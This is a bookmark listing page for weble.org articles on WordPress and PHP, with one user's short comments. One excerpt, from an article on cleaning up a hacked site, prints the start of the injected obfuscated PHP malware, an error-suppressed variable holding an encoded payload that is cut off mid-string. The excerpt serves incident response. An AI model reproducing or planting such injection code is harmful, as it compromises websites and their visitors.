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ブックマーク / weble.org (6)

  • WordPress のマルチサイトを無効化して元の状態にリセットする方法

    今回は、マルチサイトにした WordPress を普通の WordPress に戻す方法を紹介します。 マルチサイトを無効化する 投稿データ マルチサイトのファイルアップロード先は特殊だがメインサイトのアップロード先は通常の WordPress サイトと同じで変更されていないため投稿データの操作を行う必要はありません。 設定ファイルを元に戻す マルチサイトを有効化するに辺り以下のような記述を行ったはずです。まずはこちらの記述を削除することで、マルチサイトを無効化することができるはずです。この時点でマルチサイトへアクセスすると、サイトと同じコンテンツが表示されます。 define( 'WP_ALLOW_MULTISITE', true ); define( 'MULTISITE', true ); define( 'SUBDOMAIN_INSTALL', true ); $base = '

    red_snow
    red_snow 2012/02/09
    助かりました
  • 脆弱性を突かれて Web サイトを改ざんされてウィルス呼び出しコードを埋めこまれたファイルの調べ方と除去と対応作業と申請手続きについて

    改ざんされてウィルス配布コード埋めこまれてから復旧までの作業や申請の手続きについてまとめていきます。 追記: 「改ざんされた場合そのものの対処方法」という意味で書かせて頂きました。phpMyAdmin の脆弱性についてではなく全般的な内容となっております。誤解を与える表現となってしまい申し訳御座いません。 今回埋めこまれた不正なコード 実際のコードは改行やスペースがなくなって一行のコードとなっておりますので非常に気づきにくいです。 <?php @error_reporting(0); if (!isset($eva1fYlbakBcVSir)) { $eva1fYlbakBcVSir = "7kyJ7kSKioDTWVWeRB3TiciL1UjcmRiLn4SKiAETs90cuZlTz5mROtHWHdWfRt0ZupmVRNTU2Y2MVZkT8h1Rn1XULdmbqxGU7h1Rn

    red_snow
    red_snow 2012/01/23
    phpmyadminを本番環境に置いていることが問題だとちゃんと認識したんだろうか・・・
  • WordPress で投稿やページやカスタム投稿の公開時に処理を実行する方法

    function testFunction($post_id) { $post = get_post($post_id); print_r($post); } ちなみに投稿が公開された時に Twitter でツイートしたいといった場合は、下書きから公開への変更、予約投稿から公開への変更を検知して処理を実行しなければいけません。ちょっと大変でしたが以下のような感じで実装できましたので公開しておきます。 $runFlug = false; $postData = get_post($post_id); if($postData->post_status == 'publish') { global $post; if( $post->post_status == 'draft' || $post->post_status == 'auto-draft' ) { $runFlug = true;

  • WordPress のマルチサイト機能を実用化レベルにするために必要な設定や注意事項まとめ

    /* 編集が必要なのはここまでです ! WordPress でブログをお楽しみください。 */ define( 'WP_ALLOW_MULTISITE', true ); ネットワークの設定をする 管理画面にアクセスするとネットワークという項目がツール辺りに出現します。中に入るとサブドメインかサブディレクトリを選択できますので、好きな方を選ぶとその後の必要な作業を教えてくれます。簡単な作業なのでここでは割愛させて頂きます。 特権管理者について マルチサイト化をすることで、最高権限が管理者から特権管理者に変わります。サイト内で管理者となっている人よりも、特権管理者の方が強いです。プラグインによっては特権管理者しか設定を触れないものもあります。特権管理者は特権管理者が自由に与えることができますが、サイトの所有者などを自由に変えることができるため、容易に与え無いほうが良いかもしれません。 既に運

    red_snow
    red_snow 2012/01/15
    良いまとめで助かります
  • 大規模 Web サービスでログインを長期間保持するには SESSION は使わず Cookie とデータベースだけで実装する | ウェブル

    先日ペコリンという Web サービスを公開したのですが、これが初めての WordPress との複合会員向けサービスだったためか、ログインが途中で切れたり、記事投稿時のリダイレクトがかかるタイミングなどで SESSION が切れてしまうことがありました。 しかし Twit Delay では長期的にログインが保持されていたり、mixi とかではログイン時間を指定できたりするので、なんとかできるものだろうと考えていたら Twitter で教えてもらいましたのでまとめておきます。 SESSION だけを使ったログインの保持では長期ログインは不可 私は今までログインの保持は以下のようにしていました。 1 2 3 4 5 <?php ini_set('session.gc_maxlifetime', 60*60*24); ini_set('session.gc_divisor', 10000); s

    red_snow
    red_snow 2011/04/27
    相変わらずひどい・・・SESSIONすらちゃんとわかっていないのか。。
  • PHP で凄く簡単に GET/POST 送信ができる関数を作りました | ウェブル

    以前こちらの URL で GET/POST を簡単にできるコードを書きましたが、問題があるとのことで多くの指摘を頂きました。zaru さんに正しいコードを書いて頂きましたので下記の記事をご覧ください。 PHP で凄く簡単に GET/POST 送信ができる関数を勝手に改良した | zaru blog 下記にコードを引用させて頂きます。いくらか稼働させた所 curl の方が安定していることが分かりましたので、こちらを引用させて頂きます。curl がインストールできない環境等では zaru さんの記事の別のコードを使用してください。 function wbsRequest2($method, $url, $params = array()) { $data = http_build_query($params); if($method == 'GET') { $url = ($data != '

    red_snow
    red_snow 2011/03/08
    http://goo.gl/4UfYG いまいち乗り遅れたけど修正してみた
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